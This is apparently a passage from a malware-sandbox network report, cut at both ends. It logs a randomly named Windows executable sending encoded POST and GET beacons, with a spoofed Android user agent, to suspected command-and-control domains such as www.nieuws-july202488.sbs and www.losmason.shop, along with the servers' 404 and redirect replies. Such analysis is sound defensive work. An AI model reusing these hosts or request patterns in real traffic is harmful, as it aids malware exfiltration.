6e 4d 49 76 38 64 62 6f 31 32 52 4e 66 59 45 36 6b 75 70 34 49 59 74 5a 76 6e 69 44 52 6c 31 39 67 45 67 62 79 47 63 72 32 36 45 58 51 70 48 32 75 46 48 30 4c 61 6f 4e 34 4c 52 31 73 64 57 53 54 2f 67 77 6c 31 4f 76 77 34 46 42 74 64 79 48 65 43 4b 77 38 59 74 53 51 57 42 50 35 50 4a 76 30 30 54 68 56 73 48 4a 31 4a 32 74 72 67 6e 61 79 45 62 4c 49 39 53 7a 37 4d 52 2b Data Ascii: QhKxhNP=uFsbYKxiJxYphti5YwoFuk2L8fXGsS29yu11PTLYhz0IjRz0PXm+Mll5sZURuABbf64FRP4avV/sOprh+AC3dUnGNE+gh6aenMIv8dbo12RNfYE6kup4IYtZvniDRl19gEgbyGcr26EXQpH2uFH0LaoN4LR1sdWST/gwl1Ovw4FBtdyHeCKw8YtSQWBP5PJv00ThVsHJ1J2trgnayEbLI9Sz7MR+
Nov 28, 2024 09:14:12.421308994 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Thu, 28 Nov 2024 08:14:12 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 43 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 a2 a6 aa 67 b4 21 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f b1 4b 66 6d 28 dc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 93 a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 70 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d a6 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 55 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f [TRUNCATED] Data Ascii: 135CZJvLg!qCV's=pB<w?Kfm( o=\|3q+{XV)w]vtOv,"fv?B0GVp]nyyG=56jZ:UMh/0K'wRUX7!rVY:s^o/^VL?{fUm7n/L-B/?.+0@{?{T`+1J`,(?{~61y??1?LuwK,Dyl]XqfG}g}z@Kf]e7{._",-0A_\WXqo_Pl!.\c=$?3gE/-"!=z`@]Wh-5@yFgj]IyPN>!Io<?=nKo:;j}vV Eoqhd[\=^f&32Q#b2zcQ>2/ol?yqXV>uY]!!_u&-)o>2bi3}`dmyG;].Q>P\|}m_QmV8HrT~I*@W KYxSz125?VPtYCzug\|J
Nov 28, 2024 09:14:12.421329975 CET	1236	IN	Data Raw: a0 04 fe 66 86 37 7e fe 96 b8 4e 68 0e fe 94 80 40 fa 62 98 f1 88 cc bb 3f df 6c 73 8b da 9b e1 5e 79 79 56 5e 32 d4 c3 a0 70 63 10 eb 9a 1b 07 ec e7 f4 11 0b f8 4f fb 30 08 42 c7 71 d3 37 96 fa d1 be 5d e5 a7 0b b2 9f fd fa fd bc 37 f6 fb 15 b7 Data Ascii: f7~Nh@b?ls^yyV^2pcO0Bq7]7}E(CI?8T^4=u/"]G}~=q<^z?4GLRb ,d^s"g^a0oeZero>z9
Nov 28, 2024 09:14:12.422353983 CET	1236	IN	Data Raw: e1 b2 c4 27 0b 58 34 da 70 d9 69 82 ef 72 73 3b b1 24 71 62 db 82 c6 38 9d ee 1a 66 3a cd d5 99 44 eb ac 38 ed 5a d4 0e 66 21 4d 65 49 74 c6 3b 02 8f a1 b4 de f2 c9 36 88 d4 12 31 47 c6 d8 10 36 ee 78 8c 25 68 b5 8f 75 9a 0b e6 e2 24 1a a5 f5 82 Data Ascii: 'X4pirs;$qb8f:D8Zf!MeIt;61G6x%hu$#\|NpTqf76[J9^sNdK[(t&A\'a GXfSfQ*sam.!4_&;pBM=:rRy%9\[(n.ZAX-
Nov 28, 2024 09:14:12.422369957 CET	1236	IN	Data Raw: 6d 08 e0 d4 0a dd b4 e7 e3 32 ae d7 4d c0 d2 1b 1a 33 09 f1 d4 c1 84 de 2d 8a 8e f4 b3 93 bd 45 74 ce 5f 12 27 6c 81 0b 90 1e 0f 77 22 4c 34 99 3d 2a f6 11 85 d3 79 83 a7 07 6f 05 a7 81 36 26 51 10 9a e5 51 45 2c dd 6d a7 76 75 94 fa f5 0c 5d 91 Data Ascii: m2M3-Et_'lw"L4=yo6&QQE,mvu]iR1>[$3L#$Sh=rirW:37,*27t1=fa(7k^'rAsoFT2;i\|2r.eHQb;q-neJ'q
Nov 28, 2024 09:14:12.422383070 CET	289	IN	Data Raw: 88 e0 7d cc b3 d3 bd 5d 39 df 0d e0 9f 90 bf 12 ea fa 92 f9 13 59 ae d9 ff 14 ba 9f c1 ea 4f 2f b8 fa f3 a7 da b8 08 fc de 96 d7 3b 3e 0f ff 91 c6 80 3a df 29 e1 59 55 77 df 1e e1 cf 56 3d c2 1f 99 e7 06 50 1f f0 75 15 23 5e 59 7c 7c ae ed bd 57 Data Ascii: }]9YO/;>:)YUwV=Pu#^Y\|\|W/']0q_*v /3?!8Ss&(>`py<s$IO@LLYn~l 3=a:{/}c@1}`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49825	162.0.215.33	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:13.574978113 CET	1860	OUT	POST /30le/ HTTP/1.1 Host: www.nieuws-july202488.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.nieuws-july202488.sbs Referer: http://www.nieuws-july202488.sbs/30le/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 75 46 73 62 59 4b 78 69 4a 78 59 70 68 74 69 35 59 77 6f 46 75 6b 32 4c 38 66 58 47 73 53 32 39 79 75 31 31 50 54 4c 59 68 7a 38 49 67 69 4c 30 50 32 6d 2b 4e 6c 6c 35 71 70 55 63 75 41 42 47 66 36 77 42 52 50 45 73 76 58 33 73 50 4b 6a 68 79 6c 69 33 47 45 6e 47 53 55 2b 68 6c 36 61 78 6e 4e 34 52 38 64 4c 6f 31 32 52 4e 66 62 63 36 30 50 70 34 4f 59 74 65 6f 6e 69 50 56 6c 31 46 67 45 6f 6c 79 41 41 37 32 4b 6b 58 51 4a 58 32 39 6e 2f 30 55 4b 6f 31 37 4c 52 39 73 64 62 49 54 2f 73 43 6c 33 75 4a 77 36 6c 42 75 36 66 65 4f 52 53 79 6c 59 56 67 53 57 31 71 70 49 46 71 31 57 66 57 66 50 6a 64 35 34 4f 2f 74 31 54 33 77 57 47 46 4b 4a 71 61 36 4b 59 43 58 4c 38 39 67 50 69 52 6b 4d 58 2b 57 43 38 48 6d 76 4c 67 36 70 5a 32 66 66 71 53 72 6e 78 75 53 65 45 74 4f 73 79 31 56 34 55 64 2f 75 43 6d 79 41 7a 67 52 56 76 36 30 56 31 55 32 33 39 55 2b 61 78 74 4f 58 42 52 4a 59 55 46 56 46 4f 53 4e 74 71 57 6b 68 64 31 6a 77 49 39 6a 4a 44 33 77 58 4d 4b 6c 67 4a 53 2b 43 52 56 78 4c [TRUNCATED] Data Ascii: QhKxhNP=uFsbYKxiJxYphti5YwoFuk2L8fXGsS29yu11PTLYhz8IgiL0P2m+Nll5qpUcuABGf6wBRPEsvX3sPKjhyli3GEnGSU+hl6axnN4R8dLo12RNfbc60Pp4OYteoniPVl1FgEolyAA72KkXQJX29n/0UKo17LR9sdbIT/sCl3uJw6lBu6feORSylYVgSW1qpIFq1WfWfPjd54O/t1T3wWGFKJqa6KYCXL89gPiRkMX+WC8HmvLg6pZ2ffqSrnxuSeEtOsy1V4Ud/uCmyAzgRVv60V1U239U+axtOXBRJYUFVFOSNtqWkhd1jwI9jJD3wXMKlgJS+CRVxLcYnQ3sHsj9oyijWcEVocXk8PTYhp+IvTK5V6Hg4g/iHKPLsBp6iuklC0S17DZtZQYkn7n8xxWwGrJu2yx8o272D0TB6HBe51EGLeLv1Elfu3f9MgdMeXnkENODKXuOzOgKGK9OWHAW6y+PmL8wBM0xEQ7NcNAiXQqPAKeICNY16IXoNUOno+AtaYD7mMqEC1a/z8abGTBaU16zyowwMOvEbX9EgETq3/5WiwMzpuGFR0DVhL0kbkJYBfU3nGjcxTTxj5Ngt9wYrhgLxeTW+0s0AtsVuQ6LDcQ0gPb24fBfJsq1XSuBgFoyjpQtEjesjogqd/CtD/0MgW0qWzsa2kR/BKevfSHmWNSIgCEBlh16C5lQi5Q8Oupt/8c5WCIuDQhXpGRBoapdwmkqz4wNIYUiAITdjbraLhPlDbXPSvxELthk6poaauCkRJdk+pZjhgpA/21M4BdlSpNKNW09k06AOsaHJoDY+vocEipHMlYO81ZCgYcA1zgSf6BkrFBW8dsUdrsoTd2K/qR2LJ+/7HXX+UF1m+6jP98TVuYnjNtf/Tno47vhXz9UlhMrDO2vkmYzL8CDB+oRDW0lDg9gWpy2I0uaK/f0SslQsvbzgPKe/IWEQfW2iusxX2mGnajtsw/5sfGEOxPU9Qn2oQKwye9Jd44EjPNg26hg [TRUNCATED]
Nov 28, 2024 09:14:14.957858086 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Thu, 28 Nov 2024 08:14:14 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 72 e3 48 72 fe 3f 4f 41 cb 61 7b 37 d0 6a 9c 24 41 ad d4 bb b8 08 80 24 40 00 24 48 82 0e c7 04 6e 80 38 89 9b dc f0 03 f9 35 fc 64 2e 50 52 8b 62 4b d3 bd 0e ff 70 cd 44 88 a8 23 2b 8f 2f 33 ab 2b eb b7 df 7e 7b fc 27 76 c9 ac 0d 85 1b 04 55 12 7f fb ed f1 f9 cf 00 b4 c7 c0 35 9d 6f bf 5d 7e 26 6e 65 82 19 55 7e ef 1e eb b0 79 ba 63 b2 b4 72 d3 ea be 3a e5 ee dd c0 7e fe 7a ba ab dc ae 82 7b 12 7f 19 d8 81 59 94 6e f5 54 57 de 3d 79 f7 29 1d d3 0e dc fb 7e 7d 91 c5 57 84 d2 ec de ee 87 3e 5d a8 14 a6 9f 98 ff c8 0a ae cb c3 c2 2d af 96 20 ef a8 a7 66 e2 3e dd 35 a1 db e6 59 51 5d 4d 6b 43 a7 0a 9e 1c b7 09 6d f7 fe f2 f1 65 10 a6 61 15 9a f1 7d 69 9b b1 fb 84 7e fd 4e aa 0a ab d8 fd 46 20 c4 40 ce aa c1 34 ab 53 e7 11 7e ee 7c 56 65 59 9d 62 77 d0 eb ed 45 5d 76 59 be f0 d1 ab da ca 9c d3 e0 ef 97 a9 fd 67 df 3c a0 9d 7b cf 4c c2 f8 f4 30 a0 0a b0 ed 97 81 e0 c6 8d 5b 85 b6 f9 65 50 9a 69 79 5f ba 45 e8 fd e5 c7 65 65 78 76 1f 06 28 91 77 ef [TRUNCATED] Data Ascii: 1352ZrHr?OAa{7j$A$@$Hn85d.PRbKpD#+/3+~{'vU5o]~&neU~ycr:~z{YnTW=y)~}W>]- f>5YQ]MkCmea}i~NF @4S~\|VeYbwE]vYg<{L0[ePiy_Eeexv(w0u7%0r8Fl~e_2Y0gO{8#rq'f~U_Y7p2M+`=L]hf/}"x+@d{^v#^K{jyYU]8j?DkYzlxg&Se^}UZ>Rx&#?_\|A:6+)o92?I7d#8''@[YUeM^_WXBGWxGV^5\Y}q+\|g\|qW&0jDLFo^19_G5m{Z^b1/Vz 2xc7+w7;<[^G;\,ml[z7/hK901[3~{Yr@K~y?@q/I:d9oj0}^/5FF7?u`}s9C <.#ku~^O
Nov 28, 2024 09:14:14.958009005 CET	1236	IN	Data Raw: 09 94 c0 df cc f0 c6 cf df 12 d7 09 cd c1 9f 12 10 48 5f 0c 33 1e 91 79 f7 e7 9b 6d 6e 51 7b 33 dc 2b 2f cf ca 4b 86 7a 18 14 6e 0c 62 5d 73 e3 80 fd 9c 3e 62 01 ff 69 1f 06 41 e8 38 6e fa c6 52 3f da b7 ab fc 74 41 f6 b3 5f bf 9f f7 c6 7e bf e2 Data Ascii: H_3ymnQ{3+/Kznb]s>biA8nR?tA_~H?Wo(^"&WD{z?kq \A;g?T=P{?B`x!YkaQ7zl~sVusGo^EBn
Nov 28, 2024 09:14:14.958020926 CET	448	IN	Data Raw: 5d b8 2c f1 c9 02 16 8d 36 5c 76 9a e0 bb dc dc 4e 2c 49 9c d8 b6 a0 31 4e a7 bb 86 99 4e 73 75 26 d1 3a 2b 4e bb 16 b5 83 59 48 53 59 12 9d f1 8e c0 63 28 ad b7 7c b2 0d 22 b5 44 cc 91 31 36 84 8d 3b 1e 63 09 5a ed 63 9d e6 82 b9 38 89 46 69 bd Data Ascii: ],6\vN,I1NNsu&:+NYHSYc(\|"D16;cZc8FiH<8\f:Bg\|2Mcl9W9>.6->:qI#p3nXcn)5Hp8YAk5b\XKnHt91"PSN\F^9q-/ej"/!A)VE5V#j
Nov 28, 2024 09:14:14.958543062 CET	1236	IN	Data Raw: 91 d9 86 b3 e6 24 35 1c 8e 54 75 8e 2c e4 62 7d c0 aa 70 eb d9 d3 34 40 02 45 cc 0d 6e c3 1f 12 9a 72 31 6b 32 d4 f1 56 ea c2 2c e4 0a 2d c1 d2 3a 70 48 55 63 28 52 6c d7 1a b5 45 97 63 85 2a ad 8a 51 4e 92 e4 cf 72 08 85 45 b3 3b f2 94 76 2e a6 Data Ascii: $5Tu,b}p4@Enr1k2V,-:pHUc(RlEc*QNrE;v.$5QL1rMRNs^-/zxYL9JoZ9]e9:h+8x2626 ~+KKD1g\|&v/#QB.v<;N5\&${
Nov 28, 2024 09:14:14.958558083 CET	1082	IN	Data Raw: 87 4b d6 f0 84 ca a2 7c 84 2c 77 0f 12 a6 43 12 a3 e1 b8 55 0c 4f 26 f3 3d 6d 23 3e 34 9b 87 73 23 94 8b 49 41 34 e8 be 68 1c ab 32 cf 39 3a 5a af 98 a5 b7 cf 73 29 e4 d9 51 b8 39 16 d8 18 cd 36 59 a4 8f a8 d9 44 1f 4e f9 74 27 b6 ed 30 11 a0 68 Data Ascii: K\|,wCUO&=m#>4s#IA4h29:Zs)Q96YDNt'0h1}\0MXWP":J'&a\hBf.90Rey,dQ#!rq519;YQh07&\|J0I!@MlHN2=FEl(HA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49831	162.0.215.33	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:16.226296902 CET	551	OUT	GET /30le/?QhKxhNP=jHE7b6Z9ED1A0Je7bwo+kjGjstTykwGZjMkqHVfcjQ95lgOzDj3OOkgun9YTkzFADI0DOvoxgj3LN5jGlHy+CHSERWGJqvHJseYAxerz13ZcR6Qaw8dlP7tGoG6xZXENiQ==&Yby=d2ydCtHpb8 HTTP/1.1 Host: www.nieuws-july202488.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:14:17.485291958 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked date: Thu, 28 Nov 2024 08:14:17 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 32 37 38 46 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 [TRUNCATED] Data Ascii: 278F<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not Found</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; [TRUNCATED]
Nov 28, 2024 09:14:17.485467911 CET	1236	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-rep
Nov 28, 2024 09:14:17.485481977 CET	1236	IN	Data Raw: 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address {
Nov 28, 2024 09:14:17.486135006 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { te
Nov 28, 2024 09:14:17.486148119 CET	1236	IN	Data Raw: 39 42 34 51 55 7a 73 56 31 58 4b 46 54 7a 44 50 47 2b 4c 66 6f 4c 70 45 2f 4c 6a 4a 6e 7a 4f 30 38 51 43 41 75 67 4c 61 6c 4b 65 71 50 2f 6d 45 6d 57 36 51 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 Data Ascii: 9B4QUzsV1XKFTzDPG+LfoLpE/LjJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTE
Nov 28, 2024 09:14:17.486938953 CET	1236	IN	Data Raw: 70 34 56 46 69 4c 38 57 4d 2f 43 6c 38 53 46 34 70 67 74 68 76 74 48 6d 34 71 51 55 49 69 51 64 59 2b 35 4e 4d 66 75 2f 32 32 38 50 6b 71 33 4e 5a 4e 4d 71 44 31 57 37 72 4d 6e 72 77 4a 65 51 45 6d 49 77 4b 73 61 63 4d 49 2f 54 56 4f 4c 6c 48 6a Data Ascii: p4VFiL8WM/Cl8SF4pgthvtHm4qQUIiQdY+5NMfu/228Pkq3NZNMqD1W7rMnrwJeQEmIwKsacMI/TVOLlHjQjM1YVtVQ3RwhvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFtt
Nov 28, 2024 09:14:17.486984015 CET	1236	IN	Data Raw: 57 78 51 78 75 6b 6e 67 75 4a 31 53 38 34 41 52 52 34 52 77 41 71 74 6d 61 43 46 5a 6e 52 69 4c 32 6c 62 4d 2b 48 61 41 43 35 6e 70 71 2b 49 77 46 2b 36 68 68 66 42 57 7a 4e 4e 6c 57 36 71 43 72 47 58 52 79 7a 61 30 79 4e 4f 64 31 45 31 66 73 59 Data Ascii: WxQxuknguJ1S84ARR4RwAqtmaCFZnRiL2lbM+HaAC5npq+IwF+6hhfBWzNNlW6qCrGXRyza0yNOd1E1fsYUC7UV2Jop7XyXbsw90KYUInjpkRcecWfkEmdCAehgueuTmNt+shkReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8
Nov 28, 2024 09:14:17.487986088 CET	1236	IN	Data Raw: 6f 6e 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 0a 20 20 20 Data Ascii: on class="response-info"> <span class="status-code">404</span> <span class="status-reason">Not Found</span> </section> <section class="contact-info"> Please forward this
Nov 28, 2024 09:14:17.488001108 CET	469	IN	Data Raw: 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 70 61 6e 65 6c 2e 63 6f 6d Data Ascii: er> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404referral" target="cpanel" title="cPanel, Inc."> <img src="/img-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49847	104.18.73.116	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:23.252281904 CET	799	OUT	POST /s15n/ HTTP/1.1 Host: www.losmason.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.losmason.shop Referer: http://www.losmason.shop/s15n/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 45 64 34 70 70 51 73 4d 6e 35 54 79 2b 42 36 6f 4a 68 77 38 38 37 47 6c 66 2b 48 4c 2b 4c 6f 73 37 75 4c 7a 79 33 36 54 56 39 47 31 5a 77 58 42 4c 37 47 2b 57 65 6c 77 6f 46 30 43 4f 52 6d 62 33 31 62 42 31 78 44 6a 55 78 55 48 75 4d 4f 47 6f 53 38 6e 33 41 64 44 75 4e 35 45 56 49 2f 62 47 5a 6c 58 32 6f 73 49 33 43 55 37 43 5a 76 38 74 38 34 33 59 65 62 4c 30 79 67 75 52 67 6d 32 4c 52 47 70 49 6f 65 42 4e 6c 6f 78 67 31 68 54 4c 64 6e 77 4c 58 68 4a 62 76 77 6c 2b 68 55 53 47 56 6c 61 2b 4e 4d 32 63 38 74 76 65 69 46 6f 71 65 44 34 7a 67 64 5a 42 44 30 5a 6a 6d 64 55 4c 34 70 34 4f 64 34 3d Data Ascii: QhKxhNP=Ed4ppQsMn5Ty+B6oJhw887Glf+HL+Los7uLzy36TV9G1ZwXBL7G+WelwoF0CORmb31bB1xDjUxUHuMOGoS8n3AdDuN5EVI/bGZlX2osI3CU7CZv8t843YebL0yguRgm2LRGpIoeBNloxg1hTLdnwLXhJbvwl+hUSGVla+NM2c8tveiFoqeD4zgdZBD0ZjmdUL4p4Od4=
Nov 28, 2024 09:14:24.466510057 CET	565	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 28 Nov 2024 08:14:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://www.losmason.shop/s15n/ CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=C1pllo1AaAyIRQhUKZP7QgT7_DhqlC4a.bZQZdfoyTU-1732781664-1.0.1.1-xeekNEKNVssY_53bE044bJsiIansZGRLaSQnDTeSQtUvdkQk05TZe4xgGfk8fXsuPOvBTBg1IokNRyQr7.yB2w; path=/; expires=Thu, 28-Nov-24 08:44:24 GMT; domain=.www.losmason.shop; HttpOnly Server: cloudflare CF-RAY: 8e98e7795886421c-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49852	104.18.73.116	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:25.920182943 CET	819	OUT	POST /s15n/ HTTP/1.1 Host: www.losmason.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.losmason.shop Referer: http://www.losmason.shop/s15n/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 45 64 34 70 70 51 73 4d 6e 35 54 79 2f 68 71 6f 61 51 77 38 74 4c 47 6b 43 4f 48 4c 6e 62 6f 6f 37 75 50 7a 79 32 2f 57 57 50 53 31 41 53 50 42 49 2f 79 2b 59 2b 6c 77 38 56 30 39 4b 52 6d 41 33 31 58 6a 31 77 2f 6a 55 78 51 48 75 4a 79 47 6f 68 45 67 32 51 64 4e 68 74 35 47 61 6f 2f 62 47 5a 6c 58 32 6f 34 69 33 43 4d 